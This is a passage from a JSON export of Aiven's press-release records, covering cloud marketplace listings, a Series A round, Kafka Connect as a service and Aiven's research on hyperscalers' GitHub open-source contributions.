markets.\""}],"markDefs":[],"style":"normal"},{"_key":"6NUmQZBa","_type":"block","children":[{"_key":"8z5j1Uts","_type":"span","marks":[],"text":"As with other GCP regions, Aiven offers open-source PostgreSQL, Apache Kafka and Cassandra, OpenSearch, Redis, InfluxDB, and Grafana—most of which can be used alone or in an integrated manner."}],"markDefs":[],"style":"normal"},{"_key":"P98DUfzG","_type":"block","children":[{"_key":"zWtk4HBu","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"13dzKvf4","_type":"block","children":[{"_key":"yIGpEshp","_type":"span","marks":[],"text":"Headquartered in Helsinki, Finland and with offices in Boston, MA, Aiven is an ISO 27001 certified Database-as-a-Service provider, operating managed open-source database, messenger, cache, search, and graphing solutions to over 300 customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"fAj1XHB8","_type":"block","children":[{"_key":"kvdq65ZG","_type":"span","marks":[],"text":"You can visit "},{"_key":"XJNt038h","_type":"span","marks":["m3875742048231"],"text":"https://aiven.io"},{"_key":"IyO4qACU","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: "},{"_key":"Ope8xjzC","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"wqznl5gO","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2018-06-19T00:00:00.000Z","seo":{"metaDescription":"Aiven Press Release: In 2018, we became the first Google Cloud partner to offer managed services in GCP Europe-North. ","metaTitle":"Aiven the first Google Cloud partner in GCP Europe-North1"},"slug":{"_type":"slug","current":"/press/aiven-the-first-google-cloud-partner-in-gcp-europe-north1"},"subtitle":"Aiven Press Release: In 2018, we became the first Google Cloud partner to offer managed services in GCP Europe-North. ","title":"Aiven the first Google Cloud partner in GCP Europe-North1"}
{"__i18n_lang":"en","_createdAt":"2022-09-08T16:12:00Z","_id":"6dxsD0CWLSHyXvPVCYnZMd","_rev":"E3MJ1tvkRvxse5neCcAgOb","_type":"pressRelease","_updatedAt":"2023-01-16T16:44:07Z","content":[{"_key":"emz7jTyx","_type":"block","children":[{"_key":"5be4952d6360","_type":"span","marks":[],"text":"The big three hyperscalers have significantly increased their commitment to open source in recent years measured by both the number of active contributors and the number of commits from each organisation, according to the latest GitHub analysis by Aiven"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"B8ybUS7Q","_type":"block","children":[{"_key":"Olf3lEod","_type":"span","marks":[],"text":"In July 2022, Google’s monthly commits to GitHub have surged 21% year-on-year and Google’s YTD active contributors to GitHub (5,421) overtook Microsoft’s contributions (5,258)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"yE795Oe7","_type":"block","children":[{"_key":"2SrhaI8l","_type":"span","marks":[],"text":"Microsoft and Google continue to be the top two leading corporate contributors to Open Source Software (OSS). Amazon remains some way behind but is rapidly increasing its commitment to OSS"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ULcbceOP","_type":"block","children":[{"_key":"69ddbc27c6e2","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — August 9, 2022–"},{"_key":"idBRD8gt","_type":"span","marks":[],"text":" Amazon, Microsoft, and Google are getting more employees involved in open source than ever before according to new analysis by Aiven, a software company that combines open source technologies with cloud infrastructure."}],"markDefs":[],"style":"normal"},{"_key":"Y52B10Mk","_type":"block","children":[{"_key":"9bDest6H","_type":"span","marks":[],"text":"Aiven’s analysis of data from GitHub, the repository hosting service, which is the de facto home of open source, found the total number of active contributors to GitHub from Amazon, Microsoft, and Google has increased by 300% in six years – from 2,654 contributors in May 2016 to 10,549 in May 2022."}],"markDefs":[],"style":"normal"},{"_key":"rPloPw1P","_type":"block","children":[{"_key":"NaD3t92U","_type":"span","marks":[],"text":"The research found that Google’s monthly commits to GitHub has surged 20% year-on-year and Google’s active contributors to GitHub (4,643) overtook Microsoft’s contributions (4,394) for the first time since records began in 2016."}],"markDefs":[],"style":"normal"},{"_key":"LnSBvQwj","_type":"block","children":[{"_key":"vbTJfKD9","_type":"span","marks":[],"text":"Over a third of Microsoft’s OSS contributions are in programming languages that are maintained by Microsoft. 38.8% of languages it uses are either PowerShell or C# - both originally developed by Microsoft. Google on the other hand prefers C++ and Java, and Amazon contributes in Python and Java."}],"markDefs":[],"style":"normal"},{"_key":"VGYpF9kp","_type":"block","children":[{"_key":"VnIrKw9k","_type":"span","marks":[],"text":"Delving deeper, Aiven’s research into commits - the submissions of new software patches to open source projects - has found that the number of commits to GitHub from Microsoft and Google is still behind its summer 2020 highs, although the difference between the two has dropped."}],"markDefs":[],"style":"normal"},{"_key":"QxLIZlLJ","_type":"block","children":[{"_key":"h2U5JUfS","_type":"span","marks":[],"text":"Amazon still lags behind its hyperscale competitors but is now backing large open source projects such as OpenSearch, a fork of ElasticSearch, and hosts a growing number of projects on its GitHub page (https://aws.github.io/)."}],"markDefs":[],"style":"normal"},{"_key":"XfsCkAjh","_type":"block","children":[{"_key":"jVzYYqGJ","_type":"span","marks":[],"text":"Heikki Nousiainen, Field CTO and Co-founder at Aiven, commented: “Our research shows that the hyperscalers are contributing more resources to open source. This is great news. As a community, open source software needs this sort of commitment from big tech to ensure that important projects are maintained and that vulnerabilities such as Log4Shell don’t happen again. More than this, it’s a better way to write clean, transparent, secure code."}],"markDefs":[],"style":"normal"},{"_key":"sOfZFhLn","_type":"block","children":[{"_key":"iotorj86","_type":"span","marks":[],"text":"“An unexpected result of our research was seeing Google overtake Microsoft in terms of the number of its staff contributing to open source software. Google has championed open source since its early days and recently announced its Assured Open Source Software service, reaffirming that commitment."}],"markDefs":[],"style":"normal"},{"_key":"BemkrHTr","_type":"block","children":[{"_key":"w06J0XQj","_type":"span","marks":[],"text":"“Google surpassing Microsoft is particularly surprising, as a factor in this has been a decline in Microsoft’s year-on-year commits to open source projects. However, Microsoft commitment to developer freedom and innovation is consistent, with the company being a major player in open source, and even purchasing GitHub in 2018. The switch is testament to the market increasingly looking to capitalise on open source software."}],"markDefs":[],"style":"normal"},{"_key":"TwqAaBUf","_type":"block","children":[{"_key":"ONcEXUK3","_type":"span","marks":[],"text":"“Amazon continues to accelerate its commitment to OSS. OpenSearch, its fork of ElasticSearch in 2020, showed a major change of direction for the company as it showed it was willing to lead a major open source initiative."}],"markDefs":[],"style":"normal"},{"_key":"64Jnh2aB","_type":"block","children":[{"_key":"tZHbD58T","_type":"span","marks":[],"text":"“The overall message of the research is positive. There’s a huge amount of innovation continuing to happen in the open source community and the results benefit us all. The hyperscalers are setting an example for others to follow.”"}],"markDefs":[],"style":"normal"},{"_key":"KCYqmH1K","_type":"block","children":[{"_key":"bTP3AUdF","_type":"span","marks":[],"text":"Note to editor:"}],"markDefs":[],"style":"normal"},{"_key":"5dGV35b3","_type":"block","children":[{"_key":"azovjVKw","_type":"span","marks":[],"text":"Total number of commits is calculated by analysis of the GitHub contributor archive data by corporate email address. It measures the number of commits in a month and uses Google Big Query to analyse public GitHub data."}],"markDefs":[],"style":"normal"},{"_key":"CfBRysyY","_type":"block","children":[{"_key":"5Q2worLN","_type":"span","marks":[],"text":"Number of contributors and top programming languages is measured by the Open Source Contributor Index, an open source project that tracks and measures open source activity on GitHub."}],"markDefs":[],"style":"normal"},{"_key":"S5DvNk9R","_type":"block","children":[{"_key":"W31o1qUP","_type":"span","marks":[],"text":"Hi-res charts: https://www.dropbox.com/s/eszhorw4fyw2drl/Graph-Growth%20of%20commits.png?dl=0"}],"markDefs":[],"style":"normal"},{"_key":"a7NqevkR","_type":"block","children":[{"_key":"FNiZwnui","_type":"span","marks":[],"text":"https://www.dropbox.com/s/lryghzz6uxtsfm2/Graph-Growth%20of%20contributors.png?dl=0"}],"markDefs":[],"style":"normal"},{"_key":"GIb3Ya2j","_type":"block","children":[{"_key":"uqouHC0i","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"BHOwR4vg","_type":"block","children":[{"_key":"S9cQEYak","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Berlin, Boston, Paris, Singapore, Sydney and Toronto, Aiven provides managed open source data technologies, like PostgreSQL, Apache Kafka and OpenSearch, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard. Most recently, Aiven achieved a $3B valuation and has now raised $420M total funding backed by its investors Atomico, Earlybird, Eurazeo, IVP, Lifeline, Salesforce Ventures, and World Innovation Lab. To learn more about Aiven, visit aiven.io and follow @aiven_io on Twitter."}],"markDefs":[],"style":"normal"},{"_key":"4spIpokL","_type":"block","children":[{"_key":"ANGmEP6K","_type":"span","marks":["strong"],"text":"Media Contacts"}],"markDefs":[],"style":"normal"},{"_key":"2VZ8OIjk","_type":"block","children":[{"_key":"F4yu8BAt","_type":"span","marks":[],"text":"Ruth Prieto Arenas, Communications Manager EMEA - press@aiven.io"}],"markDefs":[],"style":"normal"},{"_key":"Lx4zNBvt","_type":"block","children":[{"_key":"yVPm50ay","_type":"span","marks":[],"text":"Ting Ong, Communications Director EMEA \u0026 APAC - press@aiven.io"}],"markDefs":[],"style":"normal"}],"publishedAt":"2022-08-09T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Google accelerates its contribution to open source as its active contributors overtake Microsoft","metaTitle":"Google accelerates contribution open source Microsoft"},"slug":{"_type":"slug","current":"/press/new-research-into-open-source:-google-accelerates"},"subtitle":"Google accelerates its contribution to open source as its active contributors overtake Microsoft","title":"New research into open source: Google accelerates its contribution to open source as its active contributors overtakes Microsoft"}
{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"1UY7ZgAIY4nKOXGfvX5kJq","_rev":"5iTZEBNHx5PwgJLwP8alm2","_type":"pressRelease","_updatedAt":"2022-12-02T12:21:13Z","body":"__Helsinki, Finland__\n\n[Aiven](https://aiven.io/), a leading technology company that combines the best open-source technologies with cloud infrastructure, announced today that it is participating in the launch of Professional Services in AWS Marketplace. Amazon Web Services (AWS) customers can now find and purchase professional services from Aiven in AWS Marketplace, a curated digital catalog of software, data, and services that makes it easy to find, test, buy, and deploy software and data products that run on AWS. As a participant in the launch, Aiven is one of the first service providers to quote and contract services in AWS Marketplace to help customers implement, support, and manage their software on AWS. To learn more about their AWS Marketplace listing, visit [here](https://aws.amazon.com/marketplace/seller-profile?id=37261588-4513-4d54-9ef9-195534d74a1b).\n\nAs organizations migrate to the cloud, they want to use their preferred software solutions on AWS. AWS customers often rely on professional services from Aiven to manage their cloud data infrastructure. Until now, AWS customers had to find and contract professional services outside of AWS Marketplace and could not identify software and associated services in a single procurement experience. With professional services from Aiven available in AWS Marketplace, customers have a simplified way to purchase and be billed for both Aiven’s managed open source data technologies as well as enterprise support packages in a centralized place. Customers can further streamline their purchase of software with standard contract terms to simplify and accelerate procurement cycles. \n\n“Aiven is proud to support professional services in AWS Marketplace,” said Hannu Valtonen, Chief Product Officer at Aiven. “Our team is dedicated to helping companies innovate and migrate to the cloud by providing managed enhanced open source data solutions. Aiven’s enterprise support packages complement the Aiven services already available in AWS Marketplace.”\n\nAbout Aiven - Headquartered in Helsinki, Finland and with offices in Berlin, Germany and Sydney, Australia and Boston, MA, Aiven is an ISO 27001 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for customers worldwide.\n\nTo learn more about Aiven, visit [https://aiven.io/](https://aiven.io/) or [follow Aiven on Twitter](https://twitter.com/aiven_io).\n","content":[{"_key":"jrkdycCW","_type":"block","children":[{"_key":"4ffded919bbd","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — December 3, 2020- "},{"_key":"WdnjEA0G","_type":"span","marks":["m8361271684680"],"text":"Aiven"},{"_key":"Omuxpfnc","_type":"span","marks":[],"text":", a leading technology company that combines the best open-source technologies with cloud infrastructure, announced today that it is participating in the launch of Professional Services in AWS Marketplace. Amazon Web Services (AWS) customers can now find and purchase professional services from Aiven in AWS Marketplace, a curated digital catalog of software, data, and services that makes it easy to find, test, buy, and deploy software and data products that run on AWS. As a participant in the launch, Aiven is one of the first service providers to quote and contract services in AWS Marketplace to help customers implement, support, and manage their software on AWS. To learn more about their AWS Marketplace listing, visit "},{"_key":"e10QPrgB","_type":"span","marks":["m12501275956496"],"text":"here"},{"_key":"vMYIo7Au","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m12501275956496","_type":"link","href":"https://aws.amazon.com/marketplace/seller-profile?id=37261588-4513-4d54-9ef9-195534d74a1b"}],"style":"normal"},{"_key":"uekynnWP","_type":"block","children":[{"_key":"L0OabhYv","_type":"span","marks":[],"text":"As organizations migrate to the cloud, they want to use their preferred software solutions on AWS. AWS customers often rely on professional services from Aiven to manage their cloud data infrastructure. Until now, AWS customers had to find and contract professional services outside of AWS Marketplace and could not identify software and associated services in a single procurement experience. With professional services from Aiven available in AWS Marketplace, customers have a simplified way to purchase and be billed for both Aiven’s managed open source data technologies as well as enterprise support packages in a centralized place. Customers can further streamline their purchase of software with standard contract terms to simplify and accelerate procurement cycles."}],"markDefs":[],"style":"normal"},{"_key":"cJJBLFF2","_type":"block","children":[{"_key":"Gdw4dccO","_type":"span","marks":[],"text":"“Aiven is proud to support professional services in AWS Marketplace,” said Hannu Valtonen, Chief Product Officer at Aiven. “Our team is dedicated to helping companies innovate and migrate to the cloud by providing managed enhanced open source data solutions. Aiven’s enterprise support packages complement the Aiven services already available in AWS Marketplace.”"}],"markDefs":[],"style":"normal"},{"_key":"qaSVVS7O","_type":"block","children":[{"_key":"bBvbUIBc","_type":"span","marks":[],"text":"About Aiven - Headquartered in Helsinki, Finland and with offices in Berlin, Germany and Sydney, Australia and Boston, MA, Aiven is an ISO 27001 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"WunLztup","_type":"block","children":[{"_key":"NbRW0yHI","_type":"span","marks":[],"text":"To learn more about Aiven, visit "},{"_key":"6caEFVNh","_type":"span","marks":["m8361271684680"],"text":"https://aiven.io/"},{"_key":"TIrukVTj","_type":"span","marks":[],"text":" or "},{"_key":"dhOU5s50","_type":"span","marks":["m17467540486251"],"text":"follow Aiven on Twitter"},{"_key":"KO0TYQd3","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2020-12-03T00:00:00.000Z","seo":{"metaDescription":"Aiven Press Release: Amazon Web Services customers can now purchase professional services from Aiven in AWS Marketplace. Using your existing account makes procurement easier.","metaTitle":"Aiven's professional services now in AWS Marketplace"},"slug":{"_type":"slug","current":"/press/aiven-helps-to-support-the-launch-of-professional-services-in-aws"},"subtitle":"Aiven Press Release: Amazon Web Services customers can now purchase professional services from Aiven in AWS Marketplace. Using your existing account makes procurement easier.","title":"Aiven's professional services now in AWS Marketplace"}
{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"28ssLTtkhNM7Ora6MEYGeg","_rev":"0rD6Phxg3duzic15oE7RKO","_type":"pressRelease","_updatedAt":"2022-12-02T12:18:21Z","body":"__Helsinki, Finland__\n\n[Aiven](https://aiven.io/), a leading technology company combining the best open source technologies with cloud infrastructure, announced today that its products will be available on Google Cloud Marketplace, starting with Aiven for Apache Kafka. This will enable customers who use Google Cloud to simplify their procurement process when purchasing Aiven products.\n\nCustomers who purchase Aiven services through the marketplace will receive a single invoice from Google Cloud, rather than one from each service provider. Even more, they will also be able to apply the cost of those services purchased there toward their cloud spending commitments with Google Cloud.\n\n“We’re excited to partner with Aiven to make their capabilities in open-source data pipelines available on Google Cloud Marketplace, simplifying aspects like deployment, management, and billing, and helping customers get more value out of their data on Google Cloud,” said Manvinder Singh, Director of Partnerships at Google Cloud.\n\nTo that end, Aiven plans to offer their full complement of services on Google Cloud Marketplace. Opening this new channel provides access to a new segment of potential customers to the open-source provider, customers who otherwise might not have been able to access Aiven's products due to procurement rules that add just enough friction to prevent their adoption.\n\n“As we’ve gained credibility with larger and larger organizations, we’ve seen that a major hurdle in their adoption of our services are the difficulties they face in navigating their procurement processes,” said Hannu Valtonen, co-founder and Chief Product Officer at Aiven. “With our availability on Google Cloud Marketplace, we remove that obstacle for many, staying true to one of our founding principles, ensuring access to advanced, cloud-based open-source data technology.”\n\nCompanies including OVO Energy and Adeo run Aiven services on Google Cloud to enable their engineering teams to build and support the products that improve business outcomes.\n\nTo learn more about their Aiven for Apache Kafka Google Cloud Marketplace listing, visit [here](https://console.cloud.google.com/marketplace/details/aiven-public/aiven-for-apache-kafka?pli=1).\n\n__About Aiven__\n\nHeadquartered in Helsinki, Finland and with offices in Berlin, Germany and Sydney, Australia and Boston, MA, Aiven is an ISO 27001 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for customers worldwide.\n\nYou can visit [https://aiven.io](https://aiven.io/) for more information or follow Aiven on Twitter: [@aiven_io](https://twitter.com/aiven_io).","content":[{"_key":"77069e431825","_type":"block","children":[{"_key":"7a7f0c0cf9b6","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — October 14, 2020- "},{"_key":"Y0LffQLK","_type":"span","marks":["m8361271684680"],"text":"Aiven"},{"_key":"RuPWcXSh","_type":"span","marks":[],"text":", a leading technology company combining the best open source technologies with cloud infrastructure, announced today that its products will be available on Google Cloud Marketplace, starting with Aiven for Apache Kafka. This will enable customers who use Google Cloud to simplify their procurement process when purchasing Aiven products."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"cpaqQwbo","_type":"block","children":[{"_key":"XWRAr4yW","_type":"span","marks":[],"text":"Customers who purchase Aiven services through the marketplace will receive a single invoice from Google Cloud, rather than one from each service provider. Even more, they will also be able to apply the cost of those services purchased there toward their cloud spending commitments with Google Cloud."}],"markDefs":[],"style":"normal"},{"_key":"mhxt2tZg","_type":"block","children":[{"_key":"jNFKTpwb","_type":"span","marks":[],"text":"“We’re excited to partner with Aiven to make their capabilities in open-source data pipelines available on Google Cloud Marketplace, simplifying aspects like deployment, management, and billing, and helping customers get more value out of their data on Google Cloud,” said Manvinder Singh, Director of Partnerships at Google Cloud."}],"markDefs":[],"style":"normal"},{"_key":"smFdYzXX","_type":"block","children":[{"_key":"edPz7v7O","_type":"span","marks":[],"text":"To that end, Aiven plans to offer their full complement of services on Google Cloud Marketplace. Opening this new channel provides access to a new segment of potential customers to the open-source provider, customers who otherwise might not have been able to access Aiven's products due to procurement rules that add just enough friction to prevent their adoption."}],"markDefs":[],"style":"normal"},{"_key":"qTDf7cJN","_type":"block","children":[{"_key":"zoowWxfo","_type":"span","marks":[],"text":"“As we’ve gained credibility with larger and larger organizations, we’ve seen that a major hurdle in their adoption of our services are the difficulties they face in navigating their procurement processes,” said Hannu Valtonen, co-founder and Chief Product Officer at Aiven. “With our availability on Google Cloud Marketplace, we remove that obstacle for many, staying true to one of our founding principles, ensuring access to advanced, cloud-based open-source data technology.”"}],"markDefs":[],"style":"normal"},{"_key":"lZrqOZzK","_type":"block","children":[{"_key":"etM7OFwS","_type":"span","marks":[],"text":"Companies including OVO Energy and Adeo run Aiven services on Google Cloud to enable their engineering teams to build and support the products that improve business outcomes."}],"markDefs":[],"style":"normal"},{"_key":"aHPM2Rl1","_type":"block","children":[{"_key":"ZUIfO6aR","_type":"span","marks":[],"text":"To learn more about their Aiven for Apache Kafka Google Cloud Marketplace listing, visit "},{"_key":"fznphXmT","_type":"span","marks":["m16422895187523"],"text":"here"},{"_key":"KC3O02pG","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m16422895187523","_type":"link","href":"https://console.cloud.google.com/marketplace/details/aiven-public/aiven-for-apache-kafka?pli=1"}],"style":"normal"},{"_key":"9ikvFlOh","_type":"block","children":[{"_key":"yNzaUyUK","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"CWhnsWGR","_type":"block","children":[{"_key":"TCm3scKg","_type":"span","marks":[],"text":"Headquartered in Helsinki, Finland and with offices in Berlin, Germany and Sydney, Australia and Boston, MA, Aiven is an ISO 27001 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"eukvtqni","_type":"block","children":[{"_key":"DYwH1Ppo","_type":"span","marks":[],"text":"You can visit "},{"_key":"vVuGYyrS","_type":"span","marks":["m8361271684680"],"text":"https://aiven.io"},{"_key":"27qW5WBw","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: "},{"_key":"kU4rmAf0","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"BmVpa0KN","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2020-10-14T00:00:00.000Z","seo":{"metaDescription":"Aiven helps customers unlock data-driven innovation by continuing to open access to advanced, open-source data pipelines via its listing on Google Cloud Marketplace.","metaTitle":"Aiven services now available on Google Cloud Marketplace"},"slug":{"_type":"slug","current":"/press/aiven-services-now-available-on-google-cloud-marketplace"},"subtitle":"Aiven helps customers unlock data-driven innovation by continuing to open access to advanced, open-source data pipelines via its listing on Google Cloud Marketplace.","title":"Aiven services now available on Google Cloud Marketplace"}
{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"1yBmCSye78uAO22lQb3Q5x","_rev":"0rD6Phxg3duzic15oE5fk7","_type":"pressRelease","_updatedAt":"2022-12-02T11:41:57Z","body":"__Helsinki, Finland__\n\nAiven has completed an €8 million Series A funding round to enhance its leading cloud data platform with more integrated solutions and to accelerate international growth.\n\n\"We see a tremendous number of companies around the world now implementing their new real-time data platforms in the cloud. The new funding will allow us to better cater to their requirements,” states Oskari Saarenmaa, co-founder and CEO at Aiven.\n\nThe round was led by Earlybird Venture Capital with participation from Lifeline Ventures and Nokia chairman Risto Siilasmaa. Hendrik Brandis, partner and co-founder of Earlybird, joins the Aiven board of directors as part of the transaction.\n\n“Aiven’s ability to outcompete established market players and build a highly capital efficient international business is impressive. We’re eager to become a part of the story and continue growing the company,” discusses Brandis.\n\nAiven launched its data cloud in 2016 with a suite of the best open source data infrastructure services that now include the Apache Kafka event streaming engine and databases such as PostgreSQL and Apache Cassandra. Aiven services cover all the needs of complex internet applications and have earned the trust of a growing number of customers, such as Atlassian, Comcast and OVO Energy.\n\nCommitted to open source, Aiven recognizes the importance of the communities behind these projects and will step up its participation in them. This will mean creating new open source tools such as Kafka connectors as well as participating in feature development and quality assurance of the core projects.\n\nAiven’s mission is to enable developers to focus on their core business and build great applications without worrying about software infrastructure. The next step in this journey is offering more integrated solutions on top of the individual building blocks that are currently available on Aiven’s data cloud, which will allow teams to build what they couldn’t imagine before.\n\n__About Aiven__\n\nHeadquartered in Helsinki, Finland and with offices in Boston, MA, Aiven is an ISO 27001 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for over 400 customers worldwide.\n\nYou can visit [https://aiven.io](https://aiven.io) for more information or follow Aiven on Twitter: [@aiven_io](https://twitter.com/aiven_io).","content":[{"_key":"5LkOmNL6","_type":"block","children":[{"_key":"0f9e5e4b14be","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — May 3, 2019-"},{"_key":"ewbAkyj2","_type":"span","marks":[],"text":"Aiven has completed an €8 million Series A funding round to enhance its leading cloud data platform with more integrated solutions and to accelerate international growth."}],"markDefs":[],"style":"normal"},{"_key":"w6I6zV1L","_type":"block","children":[{"_key":"u5lQceiY","_type":"span","marks":[],"text":"\"We see a tremendous number of companies around the world now implementing their new real-time data platforms in the cloud. The new funding will allow us to better cater to their requirements,” states Oskari Saarenmaa, co-founder and CEO at Aiven."}],"markDefs":[],"style":"normal"},{"_key":"yJwijuM1","_type":"block","children":[{"_key":"cSktOvhJ","_type":"span","marks":[],"text":"The round was led by Earlybird Venture Capital with participation from Lifeline Ventures and Nokia chairman Risto Siilasmaa. Hendrik Brandis, partner and co-founder of Earlybird, joins the Aiven board of directors as part of the transaction."}],"markDefs":[],"style":"normal"},{"_key":"ijy3upz1","_type":"block","children":[{"_key":"FBJyS7Tk","_type":"span","marks":[],"text":"“Aiven’s ability to outcompete established market players and build a highly capital efficient international business is impressive. We’re eager to become a part of the story and continue growing the company,” discusses Brandis."}],"markDefs":[],"style":"normal"},{"_key":"dggYt9BE","_type":"block","children":[{"_key":"jhxSQC8E","_type":"span","marks":[],"text":"Aiven launched its data cloud in 2016 with a suite of the best open source data infrastructure services that now include the Apache Kafka event streaming engine and databases such as PostgreSQL and Apache Cassandra. Aiven services cover all the needs of complex internet applications and have earned the trust of a growing number of customers, such as Atlassian, Comcast and OVO Energy."}],"markDefs":[],"style":"normal"},{"_key":"FW0L6sAl","_type":"block","children":[{"_key":"sOiLv5PU","_type":"span","marks":[],"text":"Committed to open source, Aiven recognizes the importance of the communities behind these projects and will step up its participation in them. This will mean creating new open source tools such as Kafka connectors as well as participating in feature development and quality assurance of the core projects."}],"markDefs":[],"style":"normal"},{"_key":"ebNeNsjK","_type":"block","children":[{"_key":"QUiB1AvY","_type":"span","marks":[],"text":"Aiven’s mission is to enable developers to focus on their core business and build great applications without worrying about software infrastructure. The next step in this journey is offering more integrated solutions on top of the individual building blocks that are currently available on Aiven’s data cloud, which will allow teams to build what they couldn’t imagine before."}],"markDefs":[],"style":"normal"},{"_key":"cVFRBEAf","_type":"block","children":[{"_key":"bnQw1i85","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"UFwOtYf3","_type":"block","children":[{"_key":"eZMvSdn1","_type":"span","marks":[],"text":"Headquartered in Helsinki, Finland and with offices in Boston, MA, Aiven is an ISO 27001 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for over 400 customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"WiVumV5h","_type":"block","children":[{"_key":"K15TR1gi","_type":"span","marks":[],"text":"You can visit "},{"_key":"Qgdg52mb","_type":"span","marks":["m3875742048231"],"text":"https://aiven.io"},{"_key":"AqwwIHvb","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: "},{"_key":"U5gPeHxZ","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"jMWRyvYr","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2019-05-03T00:00:00.000Z","seo":{"metaDescription":"Aiven Press Release: In 2019, Aiven has completed an €8 million Series A funding round to enhance its leading cloud data platform. ","metaTitle":"Aiven closes 8 million Series A round"},"slug":{"_type":"slug","current":"/press/aiven-closes-8-million-series-a-round"},"subtitle":"Aiven Press Release: In 2019, Aiven has completed an €8 million Series A funding round to enhance its leading cloud data platform. ","title":"Aiven closes 8 million Series A round"}
{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"2uEyHsYvw98qIEqIbiii50","_rev":"0rD6Phxg3duzic15oE5jr4","_type":"pressRelease","_updatedAt":"2022-12-02T11:44:13Z","body":"__Helsinki, Finland__\n\n[Aiven](https://aiven.io), a leading cloud technology startup providing a portfolio of managed database and stream processing products, announced today the company will now offer Apache Kafka Connect as a service. Featuring enhanced extensibility, Aiven’s Kafka Connect will allow customers to define and configure connectors that reliably and scalably stream data between different systems.\n\nAiven for Apache Kafka currently supports over 20 open-source Apache Kafka Connect connectors, the most of any managed service provider. Aiven’s Apache Kafka platform is an essential component of a scalable, low-latency data pipeline due to its ability to stream messages between various systems. The platform accomplishes this by utilizing Kafka Connect to integrate with those systems.\n\nAs a component of Apache Kafka, Apache Kafka Connect provides customers with a standard application programming interface for integration without the hassle of handling maintenance. Through supporting Kafka Connect, Aiven makes easy integration between systems possible and trivial to set up.\n\nBy integrating Apache Kafka Connect as a Service, businesses will be able to run the connector as a standalone process or as a distributed, fault-tolerant service supporting an entire organization -  allowing each channel to scale and work independently.\n\nAiven’s Apache Kafka Connect Service will allow organizations to scale up to a large, centrally managed service supporting an entire organization or scale down to development, testing, and small production deployments.\n\n“Organizations are constantly looking for ways to leverage and extend existing connectors to manage data and decrease time to production,” said Oskari Saarenmaa, CEO of Aiven. “In the past, customers needed to run larger Aiven for Apache Kafka plans to be able to use Apache Kafka Connect, which wasn't optimal. By providing Apache Kafka Connect as a service, users will be able to scale Kafka Connect separately and see more consistent, higher performance from their primary Kafka workloads.”\n\nIn addition, Apache Kafka Connect offers automatic offset management. Harnessing small amounts of information from connectors, Apache Kafka Connect can manage the offset commit process automatically.\n\nThis allows businesses to focus on their operations without being concerned with this error prone part of connector development. By managing all aspects of Apache Kafka Connect, Aiven will enable businesses to scale down, from development to testing, with a low barrier to entry and low operational overhead.\n\n“At Aiven, we strive to offer new services and platforms to provide unmatched support and offer a digestible, easy-to-use experience,” noted Saarenmaa. “We are thrilled to be the first to offer Apache Kafka Connect as a separate service.”\n\nTo learn more about Apache Kafka Connect, visit [https://aiven.io/kafka](https://aiven.io/kafka).\n\n__About Aiven__\n\nHeadquartered in Helsinki, Finland and with offices in Boston, Berlin, and Sydney, Aiven is an ISO 27001 certified, SOC 2 compliant cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for over 500 customers worldwide.\n\nYou can visit 